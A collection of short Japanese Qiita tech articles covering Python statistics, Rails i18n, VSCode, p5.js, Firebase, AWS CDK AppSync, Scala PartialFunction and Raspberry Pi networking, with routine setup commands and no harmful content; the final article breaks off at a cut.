OmniAICreator/Qiita-1.07M huggingface dataset:
最尤推定法の求め方と漸近正規性の実装[Python]

#標準正規分布から標本を発生させ、標本から分散の最尤推定量を求める

```ruby:qiita.rb
import numpy as np
import matplotlib.pyplot as plt
import math
```

size数分の標本をランダムに抽出し、分散の最尤推定量を求める


```ruby:qiita.rb
size = 10**7
def max_lilelifood_estimation (size):
#標準正規分布から標本を発生
  a = np.random.randn(size)
  expectedvalue = sum(a)/size
#最尤推定料の方程式
  dispersion = ( sum( [(a[i] - expectedvalue)**2 for i in range (size)] ))/ size
  return dispersion
print(max_lilelifood_estimation (size))
```
#最尤推定量の分布
$f_N(x) = \frac{1}{\sqrt{2\pi}\sigma} \exp(-\frac{(x-\mu)^2}{2\sigma^2}) $
ここでは、$ x = \sigma$

```ruby:qiita.rb
number = 10000
dispersion_distribution = [max_lilelifood_estimation(size) for i in range(number)]
dispersion_distribution.sort()
print(dispersion_distribution)
expectation_dispersion = sum (dispersion_distribution) / number
dispersion_dispersion = ( sum( [(dispersion_distribution[i] - expectation_dispersion)**2 for i in range (number)] ))/ number
f = lambda x: math.exp(-((x-expectation_dispersion)**2)/(2*(dispersion_dispersion)**2))/(math.sqrt(2*math.pi)*dispersion_dispersion)
ff = [ f(sel) for sel in dispersion_distribution ]
plt.plot(dispersion_distribution, ff)
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/628578/704ceff5-a521-8c67-86b7-c3905e0206b0.png)

#最尤推定法の漸近性
理論上では、フィッシャー情報行列を用いて、証明される
今回は、理論は省略し、実装することで、漸近性を確かめる。

```ruby:qiita.rb
T = list()
for i in range(4,8):
  a = [((10**i)*(j+1))/100 for j in range(99)]
  T.extend(a)
logT = [math.log10(t) for t in T]
plt.scatter(logT,[max_lilelifood_estimation(int(t)) for t in T])
```

横軸が、標準正規分布からランダムに抽出する数の対数
縦軸が分散の最尤推定量である

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/628578/7b39b954-343e-b86d-c015-daa3516def4c.png)

大体収束することがわかる。
これ以上は、分散の最尤推定量を求めるのに時間を消費するので、割愛


#参考資料
統計機械学習の授業
【初心者向け】Railsでi18nの辞書ファイルをダウンロードする

Railsのエラーメッセージを日本語にする際に、手っ取り早く、[Githubのrails-I18nのリポジトリ](https://github.com/svenfuchs/rails-i18n/blob/master/rails/locale/ja.yml)からDLしたかったので、手順をメモします。

### 翻訳ファイルのダウンロード
アプリのRootディレクトリにて、以下のコマンドを実行

```:コンソール
 wget https://raw.githubusercontent.com/svenfuchs/rails-i18n/master/rails/locale/ja.yml -P config/locales
```

`wget` は引数に記載したＵＲＬからファイルを**カレントディレクトリ**にＤＬするコマンド。

`-P` オプションでＤＬするディレクトリを指定します。
これで、翻訳ファイル`config/locales/ja.yml` が作成されます。

### デフォルトの言語を日本語にする
Railsのデフォルトの言語を日本語にすると、エラーメッセージ等で翻訳言語が利用できます。

`config/initializers/locale.rb` というファイルを作成して、以下のように記載します。

```Ruby:config/initializers/locale.rb
  Rails.application.config.i18n.default_locale = :ja
```

### tメソッドで翻訳ファイルの使い方

ビューの文字は顧客からの要望に応えたりする中で、頻繁に変わるので、tメソッド＋翻訳ファイルで管理すると便利です。
その際の方法はこちらに記載しておきますので、良かったら見てくださいませ＾＾

[【初心者向け】テキストをtメソッドで記載して翻訳ファイルをあてる](https://qiita.com/tanutanu/items/9c23b1742097e9ddacdb)
【初心者向け】テキストをtメソッドで記載して翻訳ファイルをあてる（ちょっとした変更にも強いビューの作成）

テキスト情報は顧客の要望等により頻繁に変更が入るので、翻訳ファイル等で管理しておくと便利です。翻訳ファイルの導入方法はこちらに掲載してありますので、

[【初心者向け】Railsでi18nの辞書ファイルをダウンロードする](https://qiita.com/tanutanu/items/43891e5441c285c6cced)

ここでは、翻訳ファイルを実際にビューでどのように使うかを記載したいと思います。

### 基本の使い方
例えば、以下のような翻訳ファイルがあるとします。

```ruby:config/locales/ja.yml
ja:
  app_name:
    page:
      title:
        books: "書籍一覧ページ"
```

この時、ビューでは**tメソッド**を用いて翻訳情報を呼び出すことができます。

```ruby:例）views/booke/index.html.hamlなど
 %h2= t("app_name.page.title.books")
```
上記の記述で、ビューではこのように表示されます。
![ja.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/393888/ebf34ac0-ebcf-b406-856f-e87a3e644aa5.png)

翻訳ファイルは、最初の階層jこそ `ja:` など言語名を記載しますが、そのほかに特にルールはありません。極端な話、このように書いても、ビューには**「書籍一覧ページ」**と表示されます。

```ruby:config/locales/ja.yml
ja:
  books: "書籍一覧ページ"
```

```ruby:例）views/booke/index.html.hamlなど
 %h2= t("books")
# 書籍一覧ページ　と表示される
```

ただ、管理の関係上、modelごと、controllerごとなどで翻訳ファイルを作成したほうが便利です。

なお、`t("app_name.page.title.books")` というのはRailsで使える省略した書き方で、本来は`I18n.t("app_name.page.title.books")`のように`I18n`をつける必要があります。

### ActiveRecord、エラーメッセージなどでの使い方
ActiveRecord、時間、日付、エラーメッセージなどでは、翻訳ファイルを用いるのにある程度決まった書き方があるようです。

[こちら](https://raw.githubusercontent.com/svenfuchs/rails-i18n/master/rails/locale/ja.yml)にそれらの一通りの翻訳ファイルの記載方法がありますが、研究したら、また発信していこうと思います。
RailsチュートリアルをWSLでやってはまった

[以前](https://qiita.com/GodPhwng/items/fd132be92db682d742f1)も同じような記事を書きましたが、WSLでRailsをやった時にはまった事、解決方法をメモしておきます。

#JS、CSSの変更が反映されない
~~第6版をやっているんですけどなぜかいまだにアセットパイプライン？はSprockets？のようです。~~
ちゃんとwebpackでしたｗ

これがキャッシュされている為反映されていないんだと思います。
コンパイルしなおしてもダメだったので、キャッシュのディレクトリごと毎回削除してます。

```
rm -rf tmp/cache/*
```

#突然、「500 Internal Server Error 」が出る
突然あるタイミングから「500 Internal Server Error 」が発生するようになり、画面には
`rails We're sorry, but something went wrong.`
が表示されるようになりました。

ネットでググると`erb`ファイル内の記述ミスが多いとのこと・・・。

確認してみるが、まったく問題なさそう。
どこまでOKなのか少しずつ画面のタグを削っていってみたが、真っ白にしてもエラーになる状況。

**やけくそでファイルを削除して、作り直したら**なぜかうまくいきました。

ｸｯｯｿｲﾐﾜｶﾗﾅｲ

このエラーが発生しだしたタイミングは`erb`ファイルのフォーマッターを導入してからです。結局そのフォーマッターも効かないんですけどねｗ

#環境は合わせた方が良い
ITのインフルエンサーさんが言うように素直にMacでやるか仮想で環境合わせたほうがいいです。
WSLだと何かしら問題でると思いますし、解決しようにもWSLでやっている人がほぼいない為、情報が乏しく、めちゃ時間かかります。
私の場合、根本的な原因となぜ解決できたがわかっていないので、全く身になっていなく、無駄な時間でした・・・。

Mac買いましょう・・・
(購入中)

#2020/05/02 追記
備忘録

WSLに関係ないが

**herokuにデプロイして動かなくなった時**

```
heroku buildpacks:set heroku/nodejs
heroku buildpacks:add --index 2 heroku/ruby
```

**herokuだけCSSが反映されない時**
`public/assets`を削除。
`.gitignore`に`/public/assets`を記載。
コミットしてプッシュ、herokuにプッシュ
捉えきれなかった例外を勝手にググってくれるUndine をリリースしました

![fabian-grohs-dC6Pb2JdAqs-unsplash.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3662/5b6a6669-3c2e-9697-c495-3c7a4e76d232.jpeg)
<a style="background-color:black;color:white;text-decoration:none;padding:4px 6px;font-family:-apple-system, BlinkMacSystemFont, &quot;San Francisco&quot;, &quot;Helvetica Neue&quot;, Helvetica, Ubuntu, Roboto, Noto, &quot;Segoe UI&quot;, Arial, sans-serif;font-size:12px;font-weight:bold;line-height:1.2;display:inline-block;border-radius:3px" href="https://unsplash.com/@grohsfabian?utm_medium=referral&amp;utm_campaign=photographer-credit&amp;utm_content=creditBadge" target="_blank" rel="noopener noreferrer" title="Download free do whatever you want high-resolution photos from Fabian Grohs"></span><span style="display:inline-block;padding:2px 3px">Fabian Grohs</span></a>

開発中のコードを試しに実行してみたところ、思いがけない例外が出てしまった。
そういう時はどうするだろうか。
出てきたエラーメッセージを読み、何が原因なのかを探るのではないでしょうか。
自分もgoogleなどで検索して、例外に関するドキュメントを探したりします。

その手間を助けるために、コード内で捉えられなかった例外が出た場合に自動でブラウザを起動してエラーメッセージをキーワードとして検索してくれるgemを作りました。

- [satoryu/undine: Open your browser for searching the message of an unrescued exception.](https://github.com/satoryu/undine)

## 使い方

### インストール

下記のように`gem`コマンドでインストールできます。

```sh
gem install undine
```

bundlerをお使いの方は`Gemfile`に下記の一行を追加し、`bundle install` を実行するとインストールできます。

```ruby
gem 'undine', group: :development
```

### 使い方

お使いのRubyスクリプトのはじめの方に以下のコードを追加します。

```ruby
require 'undine'
Undine.load
```

これだけで、どこにも捕捉されなかった例外が出たときに、例外メッセージを検索するgoogle のページがブラウザで開かれます。

既存のスクリプトに手を入れたくない場合は、`undine/autoload` を実行時に指定してください。

```sh
ruby -r'undine/autoload' your_script.rb
```

bundlerを利用している場合は、`Gemfile`中の`gem`メソッドに`require`オプションを追加してください。

```ruby
gem `undine`, require: 'undine/autoload', group: :development
```

## バグ報告、ご意見はこちら

利用してくださった皆様からの感想、ご意見、バグ報告なんでもお待ちしております。
何かございましたら[GitHub Issue](https://github.com/satoryu/undine/issues/new/choose)から連絡いただけると助かります。
VSCodeでPythonワークスペース内のシンボル検索を復活させる

# はじめに

VSCodeでPythonのワークスペース内でシンボル検索を行うことができますが，しばらく前から動かなくなってました．そのうち復活するかなと待っていましたが戻らなかったので調べました．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/45310/981b72aa-de29-b56c-2080-9f0ae97ed361.png)
前提はVSCodeにMicrosoftのPython拡張をインストールしている状態です．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/45310/819029d7-ada6-6df2-7bab-6cbe074fbba3.png)
[https://marketplace.visualstudio.com/items?itemName=ms-python.python](https://marketplace.visualstudio.com/items?itemName=ms-python.python)

# さきに結論

単純にPython拡張のワークスペース内のシンボル検索機能がデフォルトで無効に切り替わっていました．設定で有効にすると今まで通りに動きます．個人的には有効で困ること少ないので使っています．
[https://github.com/microsoft/vscode-python/issues/9046](https://github.com/microsoft/vscode-python/issues/9046)

`python.workspaceSymbols.enabled`という設定項目をtrueにすればOKです．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/45310/a2f02c1d-91d4-c607-fb18-0000d4e25a9c.png)
設定UIからならこんな感じ．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/45310/51f1688d-b2a3-70c6-b79f-bb1652888bcf.png)

この設定を有効にすることで，ワークスペース内のシンボル検索が動くようになります．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/45310/190f5c71-c02a-281e-bb6a-e14ca656c38d.png)

# おまけ

## ショートカットキー

ワークスペース内のシンボル検索のショートカットキーは`Ctrl + T`です．コマンドパレットからは`Go to Symbole in Workspase`です．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/45310/8f393290-2853-b877-f024-445963de0b9e.png)

## ctagsのインストール

Pythonの拡張機能ではワークスペース内のシンボル検索は`ctags`を使っているので，本機能を動かすにはctagsを別途インストールしておく必要があります．
Windowsの場合はGitHubからctagsの実行ファイルをダウンロードしてpathの通った場所に置いておけばOKです．または拡張機能の設定でctagsのパスを指定することもできます．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/45310/a9d22ce3-7660-e16f-5754-9934cf1a9940.png)
[https://github.com/universal-ctags/ctags-win32/releases](https://github.com/universal-ctags/ctags-win32/releases)

シンボル検索機能を行うと，ワークスペース内の`.vscode`ディレクトリに`tags`ファイルが自動的に生成されます．（この仕様をきらって本機能はデフォルトでOFFになったようです．）

## Microsoft Python Language Server

IntelliSenseのエンジンにMicrosoft Python Language Serverを使用するとctagsを使わずにワークスペース内のシンボル検索ができるようです．
Microsoft Python Language Serverに切り替えるにはPython拡張の設定で`python.jediEnabled`をfalseにします．trueの場合は`Jedi`というPython用の静的解析ツールが使われます．デフォルト設定ではJediが使われます．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/45310/e43f8062-358a-1552-ba20-2ddb6dce9f3c.png)
[https://pypi.org/project/jedi/](https://pypi.org/project/jedi/)

個人的には標準ライブラリの補完がJediのほうがうまく動いているようなので，デフォルト設定のままJediを使っています．

## ファイル内のシンボル検索

ファイル内でのシンボル検索の場合は`Ctrl + Shift + O`の`Go to Symbole in Editor`で行えます．こちらはJediを使っている場合でもctagsを使いません．（`python.workspaceSymbols.enabled`がfalseでも動きます）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/45310/84a5c77e-b5aa-6595-fc1e-27df9c18e640.png)

ワークスペース内での検索と使い分けるといいと思います．また先頭に`:`を入力するとカテゴリごとに並び変わるので便利です．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/45310/b1d0013a-90a4-5565-e4c1-fcd1f1694101.png)
P5.js 日本語リファレンス(curveTightness)


このページでは[「P5.js 日本語リファレンス」] (https://qiita.com/bit0101/items/91818244dc26c767a0fe) の curveTightness関数を説明します。

## curveTightness()

### 説明文

curve() および curveVertex() で作成された曲線の曲率(カーブのきつさ)を変更します。指定するパラメータ amount は、曲線が頂点ポイントにどのように影響するかを決定します。値 0.0 はデフォルト値であり(この値は曲線を Catmull-Rom スプラインとして定義します)、値 1.0 はすべてのポイントを曲線でなく直線でつなげます。 

### 構文

curveTightness(amount)

### パラメタ

- amount  
Number：元の頂点からの変形量

### 例

```javascript
//マウスを左右に動かして曲線の変化を確認します
function setup(){
  createCanvas(100, 100);
  noFill();
}

function draw(){
  background(255);

  stroke(0, 0, 255); // 青色の設定
  circle(10, 26, 6);
  
  stroke(0, 180, 255); // 水色の設定
  circle(83, 24, 6);
  
  stroke(0, 255, 0); // 緑色の設定
  circle(83, 61, 6);
  
  stroke(255, 0, 0); // 赤色の設定
  circle(25, 65, 6);

  // マウス位置(x座標)を、(0 ～キャンバス幅) から (-5 ～ 5) に変換します
  let t = map(mouseX, 0, width, -5, 5);
  
  stroke(0, 0, 0);
  textSize(12);
  text("t=", 10, 10); // t=xx の描画
  text(t, 30, 10);

  noFill();
  curveTightness(t);
  beginShape();
  curveVertex(10, 26);
  curveVertex(10, 26);
  curveVertex(83, 24);
  curveVertex(83, 61);
  curveVertex(25, 65);
  curveVertex(25, 65);
  endShape();
}
```

### 実行結果
https://editor.p5js.org/bit0101/sketches/A6xDFLiVc


### 著作権

p5.js was created by Lauren McCarthy and is developed by a community of collaborators, with support from the Processing Foundation and NYU ITP. Identity and graphic design by Jerel Johnson.

### ライセンス

Creative Commons(CC BY-NC-SA 4.0) に従います。
Nuxt.js モジュールインストールの際に気をつけること

# Nuxtアプリケーションを実行するとモジュールが入っていないと言われる，，．．

```yarn add @nuxtjs/axios```
したあとに，
```yarn dev```
を実行すると，
```Error: Module `@nuxtjs/axios` not found. Please ensure `@nuxtjs/axios` is in dependencies and installed.```
↑が出た．

# 原因
全く別のディレクトリで@nuxtjs/axiosを追加していました．．
本来のディレクトリ下で```yarn add```したら動きました．

# 気をつけること
モジュールを入れるときはターミナルのディレクトリをちゃんと確認しましょう笑
【GAS】Googleスプレッドシートの内容を取得する

# 指定したシートの内容を取得する
```javascript
function myFunction() {
  const ss = SpreadsheetApp.getActiveSpreadsheet();
  const sheet = ss.getSheetByName('シート1');
  const lastRow = sheet.getLastRow();
  for(let i = 2; i <= lastRow; i++) {
    console.log(sheet.getRange(i, 1).getValue());
    console.log(sheet.getRange(i, 2).getValue());
  }
}
```
スケールアウトまとめ

#スケールアウトのまとめ
Why　コンピューターシステムの性能を増強するため
When　条件　数多くのアクセスを分散処理で対応し、かつ、整合性用件がゆるい場合
Who　サーバーの業者？自分？
What　システムを構成するサーバーの台数を増やす
Where　サーバーが設置されている場所
How　PCの台数を増やす

###処理を並列化、分散化できるシステムで適用される


####基本情報過去問の解説では
”更新処理(追加と削除も含む)を伴う機能を複数のサーバに負荷分散すると、整合性維持のための処理や排他制御による遅延が生じ、効果的な性能向上に繋がりません。このため更新処理がメインのシステムにはスケールアウトは不向きです。スケールアウトが適するのは、更新処理の整合性要件が緩い、かつ、個々に独立し並列実行が可能な処理を扱うシステムです。”
とされており、複数のサーバを用いて並列処理するスケールアウトは遅延が発生するため、整合性維持にはむいていないようです。
https://www.fe-siken.com/kakomon/29_haru/q12.html

####参考文献
（IT用語辞典 e-Words）
http://e-words.jp/w/%E3%82%B9%E3%82%B1%E3%83%BC%E3%83%AB%E3%82%A2%E3%82%A6%E3%83%88.html
（基本情報技術者試験ドットコム）
https://www.fe-siken.com/kakomon/29_haru/q12.html
【A5】SSH経由でDB接続する

##目的
SSHトンネル経由でMySQLにA5（DB接続ツール）から接続する。
ファイアウォール等で直接接続できないインスタンスのDBに接続するときに利用する。

##手順
「データベース＞データベースの追加と削除」を開く。
「追加」「MySQL（対象DBを任意で選択可）」を選択する。

「SSH2トンネル」タブを開き、各項目を入力する。
・ホスト名
・ポート番号
・ユーザID
・パスフレーズ
・鍵ファイル

![SSH2トンネル.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/488082/55948dcf-001f-cdce-a8be-073ec98fb83b.png)

「基本」タブで、通常と同様、DB接続情報を入力する。
・ホスト名
・ポート番号
・ユーザID
・パスワード
・データベース名

![基本.png.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/488082/9375eb2a-cf83-7cfa-8372-24fd6c82a066.png)

「テスト接続」で接続可能か確認する。

![テスト接続.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/488082/11c4eb42-c2f0-dfa7-a2b9-afb4005af116.png)

本番環境に接続時は、「読み取り専用でログイン」することを推奨。
（意図しない更新を防ぐため。）

以上。
create-react-appで作ったFirebaseアプリでプロジェクトをかんたんに切り替えたい

[前回書いたとおり](https://qiita.com/yonezawaizumi/items/2d786ecffc5eafb99b0d)、いろいろ使えるようになってきたFirebaseですが、「わかってりゃ時間つぶさないよねー」的なコード断片なんかはまだ足りてないなーと思ってます。
今回はFirebaseプロジェクトの切り替えです。

# 概要

* Firebaseを利用するSPAでプロジェクトをかんたんに切り替えたい
    * Firebaseプロジェクトは、Firebaseの各機能を利用する場合の「単位」
    * このプロジェクトごとに、APIキーなどの「公開可能な埋め込み情報」は変わる
    * テスト環境、開発環境、QA環境、本番環境、…でプロジェクトはふつう別にするでしょうよ(^^ゞ
    * なので、これらをかんたんに切り替えられると便利
* 要は、「プロジェクト名を与えたら、それに紐付いたAPIキーなどの値が自動的にロードされる」ようにした

# レギュレーション

* Firebaseプロジェクト作成済み
* `create-react-app` で作るSPA
* JS / JSX
* `npm` / `firebase-tools` / `cross-env`

# 解

## コード

```ini:.env
REACT_APP_TEST_API_KEY=<api key>
REACT_APP_TEST_AUTH_DOMAIN=<domain>
REACT_APP_TEST_DATABASE_URL=<firebaseio domain>
REACT_APP_TEST_PROJECT_ID=<project id>
REACT_APP_TEST_STORAGE_BUCKET=<firestore>
REACT_APP_TEST_MESSAGING_SENDER_ID=<sender id>
REACT_APP_TEST_APP_ID=<app id>
REACT_APP_DEV_API_KEY=<api key>
REACT_APP_DEV_AUTH_DOMAIN=<domain>
REACT_APP_DEV_DATABASE_URL=<firebaseio domain>
REACT_APP_DEV_PROJECT_ID=<project id>
REACT_APP_DEV_STORAGE_BUCKET=<firestore>
REACT_APP_DEV_MESSAGING_SENDER_ID=<sender id>
REACT_APP_DEV_APP_ID=<app id>
REACT_APP_PROJECT=$PROJECT
```

```js:env.js
export default function env(key) {
  return process.env['REACT_APP_' + process.env.REACT_APP_PROJECT.toUpperCase() + '_' + key];
}
```

```js:index.js
import firebase from 'firebase/app';
import env from './utilities/env';

firebase.initializeApp({
  apiKey: env('API_KEY'),
  authDomain: env('AUTH_DOMAIN'),
  databaseURL: env('DATABASE_URL'),
  projectId: env('PROJECT_ID'),
  storageBucket: env('STORAGE_BUCKET'),
  messagingSenderId: env('MESSAGING_SENDER_ID'),
  appId: env('APP_ID')
});
```
## 実行

### ローカル実行

```sh
cross-env PROJECT=test npm start
```
### ビルド

```sh
cross-env PROJECT=test npm run build
```
# 次回予告

このように作ってみたとはいえ、そもそもコマンドラインレベルでは「今のプロジェクト」が `firebase` コマンドで設定されているはず。そこから読み出せばさらなる自動化が可能になるはずです。
コロナ自粛の中で起きた運動不足による代償(9割の失神)

まず、これは今日の昼11時ごろに起こったことなのでド新鮮なネタです笑

今回はコロナの影響で家でリモートワークすることになったエンジニアの方たちに向けて「毎日10分でもいいので必ず外を歩いて心身ともに健康になろう！！」といったメッセージを発信したいと思います。

【経緯】
4-5日間家から一歩も出ることなく、久々に気持ちをリフレッシュしようと思い、今日の10時ごろにロードバイクに乗って近所を回っていました。私の家の周辺はゆるやかに続く坂が2つほどあり、普段であれば息切れすることなく2つの坂とも超えることができていました。しかし、この5日間、ずーーっと座りっぱなしor横になっていたため身体機能が著しく低下していたようで今日の坂道は1つ目の半分を越えたところで息が切れ始めました。それでも呼吸を整えつつ、2つ目の坂を意地でのぼりきると完全に体力が無くなり、人通りの少ないところの地べたに座って、呼吸を整えようとしました。

【何が起きたか】
座っているものの、呼吸が整うどころか身体で呼吸するようになり、次第には目まいがするようになった。徐々に身体は「くの字」に曲がっていき、急な吐き気に襲われる。そして目を開けていることが少しずつしんどくなり、目を閉じたまま呼吸をするようになった。次に起きたことは、意識はあるものの、両腕の手の指先までいたるところで痙攣が始まる。次第にそれが身体全体へと広がり、両足のつま先までもガクガク、ブルブルと痙攣が止まらなかった。この時もかろうじで意識はあり、ギリッギリッのところで自分の意識を制御していたかと思う。結果、体感時間にして5-10分程度(実際は永遠に感じられた)経ったぐらいに、身体の異常反応は収まり、そして少しずつ目を開けることができた。その後、ゆーーーっくりと呼吸を整えられるようになった。ただし、10-20分は本当に動くことができす、ようやく立ち上がれた時は目の前に警備員のおじさんが立っていて「ここで座ってちゃ駄目だよ」と注意されたときだった。言葉も2言3言をせいぜい出すのがやっとだったが「気持ち悪い、2分、休みます」と伝えた後、自分で身体をなんとか起こしてその場を動くことができた。

【起きた原因】
日常での行っていた歩くことを急にやめたり、運動をすることをやめたこと、そして極端に動かない日が続いたためだと思います。そして、急に普段のギアで活動を再開したことによって身体がその運動強度に追いつかなかったためだと思います。

【改めてエンジニアの方々へ】
私自身、普段であれば週3-4回は必ずジムに行き、定期的に自分の体重の2倍・3倍の重量をスクワット・デッドリフトし、ランニングマシンで12.5kmの速度で3分間ずつ走るトレーニングもしています。自転車もツーリングするのが好きですが、最後にまともにトレーニングしたのも2カ月以上前のことです。26年間生きてきた中で今回みたく身体に異常がでることはありませんでした。

今まさに人々の生活バランスは極端に偏っています。テレビやネットでは1歩も家を出るなとか言われていますが、健康があっての人生です。今の時期、健康には普段の10倍は気を遣いましょう。もちろん周囲に配慮した上での行動にはなりますが、毎日10分でも20分でもいいので運動するようにしましょう。

最後に、面識のない方たちがこの記事を読んでくれていると思いますが、全員で頑張って挫けずポジティブで健康的にこの状況を乗り越えていきましょう。

ありがとうございました。(ちなみに私は静養中です。)
CDKでGraphQLに挑戦する(Schema編)

# はじめに

最近[この本](https://www.oreilly.co.jp/books/9784873118932/)を読んで**GraphQL**を完全理解した気になったので何かしら実践してみようと思いこの記事を書くことにしました。
AWSに[AppSync](https://aws.amazon.com/jp/appsync/)というGraphQLを用いるためのサービスがあるようなので今回はこれをCDKで触ってみようと思います。この記事は[GWアドベントカレンダー](https://gw-advent.9wick.com/calendars/2020/89)の１日目として作成しました。今回はSchema導入編で、CDKの導入からSchemaの読み込みまでを実装してみます。

# AppSyncとは

公式ページより、**GraphQLを使用してアプリケーションが必要なデータを正確に取得できるようにするマネージド型サービス**とのことです。
今までは、あるデータベースを操作するためにはいくつものエンドポイントを立ててAPIごとの処理を実装する必要があったのですが、このサービスを用いることで一つのAPIとスキーマを設計するだけでCRUDのような処理を実装することができるみたいですね。

# CDKで導入してみる

今回は簡単のために`addItem`でデータの追加ができるスキーマと、`allItem`でそれを取得できるスキーマを実装してみようと思います。まずはCDKでいつもどおり以下のコマンドを打って、プロジェクトを立ち上げます。

```bash
cdk init app --language typescript
```

とりあえず今日はSchemaを書いてその内容をAppSyncにデプロイさせるところまでを進めたいと思います。まずはCDKをこんな感じに実装してみます。

```typescript
import * as cdk from '@aws-cdk/core'
import { GraphQLApi, CfnApiKey } from '@aws-cdk/aws-appsync'

export class CdkAppsyncTestStack extends cdk.Stack {
  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {
    super(scope, id, props)

    const api = new GraphQLApi(this, 'graphQlApi', {
      name: 'test-api',
      schemaDefinitionFile: './schema.graphql',
    })
    
    new CfnApiKey(this, 'apiKey', {
      apiId: api.apiId,
    })
  }
}
```

まず`GraphQLApi()`でAPIを作成します。ここでは単純に**名前**と**スキーマのファイルのディレクトリ**だけを指定します。また、クエリの実行のために**API KEY**が必要みたいなので`CfnApiKey()`でAPI KEYを設定します。

# スキーマをかく

今回は簡単に以下のようなスキーマを定義しました。

```graphql
type Item {
    id: String!
    data: String!
}

type Query {
    allItem: [Item]
}

input ItemInput {
    id: String!
    data: String!
}

type Mutation {
    addItem(item: ItemInput!): Item
}
```

`id`と`data`を含む`Item`という型を定義してあとはそれの追加と取り出しを行う`Query`と`Mutation`を定義します。このスキーマがAppSyncの設計書になります。

# 実行する

この内容でもデプロイは可能なのでデプロイしてみます。

```bash
cdk deploy
```

デプロイできたら、クエリの実行が可能になるので今回はAWSコンソールからクエリの実行を行ってみます。

## Queryの実行

以下のクエリを実行します。

```graphql
query {
  allItem {
    id
    data
  }
}
```

当然`null`が返ってきますが、実行そのものには成功しました。

![query.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/209689/7d556169-a666-9db2-51d4-a0b3aee9425f.jpeg)

## Mutationの実行

以下のクエリを実行します。

```graphql
mutation($input:ItemInput!) {
  addItem(item:$input) {
    id
    data
  }
}
```

クエリ変数も定義します。

```json
{
  "input": {
    "id": "test",
    "data": "test"
  }
}
```

当然なにも追加されずに`null`が返ってくるだけですが、クエリの実行には成功しました。
![mutation.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/209689/0de50606-2f3c-27ba-4ce8-f698189117fb.jpeg)

# さいごに

とりあえず今日はここまでで、明日から中身の実装に入っていきたいと思います。ソースコードに関しては[ここ](https://github.com/ufoo68/cdk-appsync-test)で共有して、明日からアップデートしていこうと思います。
scala: vol1. PartitalFunction(ぱふ) とは？

# scala: vol1. PartitalFunction(ぱふ) とは？

[akka-grpc](https://doc.akka.io/docs/akka-grpc/current/server/walkthrough.html#writing-a-service-definition) で、`PartitalFunction`が登場し今まで使ったことがなかったので調査したことをまとめました。

## 概要
PartialFunctionは、全ての引数の入力値に対して、特定の値の時にしか返さない関数です。

これはどういうことか？

具体的に実行してみましょう！

## 実践

```
scala> val pf1: PartialFunction[String, Int] = { case "one" => 1 }
pf1: PartialFunction[String,Int] = <function1>

scala> pf1("one")
res8: Int = 1

scala> pf1("two")
scala.MatchError: two (of class java.lang.String)
  at scala.PartialFunction$$anon$1.apply(PartialFunction.scala:259)
  at scala.PartialFunction$$anon$1.apply(PartialFunction.scala:257)
  at $anonfun$1.applyOrElse(<console>:11)
  at $anonfun$1.applyOrElse(<console>:11)
  at scala.runtime.AbstractPartialFunction.apply(AbstractPartialFunction.scala:38)
  ... 28 elided
```

普通の関数と同じように呼び出します。
上記の関数では、"one" 以外の値を渡すと`MatchError` になります。

また以下のように`PartialFUnction`を合成して定義することも可能です。

```
scala> val pf1: PartialFunction[String, Int] = { case "one" => 1 }
pf1: PartialFunction[String,Int] = <function1>

scala> val pf2: PartialFunction[String, Int] = { case "two" => 2 }
pf2: PartialFunction[String,Int] = <function1>

scala> val pf: PartialFunction[String, Int] = pf1 orElse pf2
pf: PartialFunction[String,Int] = <function1>

scala> pf("one")
res3: Int = 1

scala> pf("two")
res4: Int = 2

scala> pf("three")
scala.MatchError: three (of class java.lang.String)
  at scala.PartialFunction$$anon$1.apply(PartialFunction.scala:259)
  at scala.PartialFunction$$anon$1.apply(PartialFunction.scala:257)
  at $anonfun$1.applyOrElse(<console>:11)
  at $anonfun$1.applyOrElse(<console>:11)
  at scala.runtime.AbstractPartialFunction.apply(AbstractPartialFunction.scala:38)
  at $anonfun$1.applyOrElse(<console>:11)
  at $anonfun$1.applyOrElse(<console>:11)
  at scala.PartialFunction$OrElse.apply(PartialFunction.scala:172)
  ... 28 elided
```

pf1の呼び出しの時同様に、`pf()` で許可していない値を渡した場合`MatchError`になります。

許可している値かどうかを調べるためには、`isDefineAt`メソッドを使うことにより確認できます。

```
scala> pf.isDefinedAt("one")
res6: Boolean = true

scala> pf.isDefinedAt("three")
res7: Boolean = false

```
Raspberry Pi と Ubuntu 20.04 をクロスケーブルで接続

Raspberry Pi と Ubuntu 22.04 を Ethernet クロスケーブルで接続する方法です。

>Ubuntu 22.04 のアドレスを、192.168.0.10
>Rasbperry Pi のアドレスを、192.168.0.13
>とします。

## Ubuntu 22.04 の設定

設定 -> ネットワーク
![network_apr2900.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179446/85923523-0905-b0c0-18fc-a91c322920f2.png)

アドレス      192.168.0.10
ネットマスク   255.255.255.0
ゲートウェイ   192.168.0.10
![network_apr2901.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179446/70611ad2-d829-4338-d257-3510aa04fe80.png)

ルートの設定

```bash
sudo ip route add 192.168.0.13/32 via 192.168.0.10 dev enp3s0f2
```

ルートテーブルの確認

```text
$ ip route
default via 192.168.8.1 dev wlp2s0 proto dhcp metric 600 
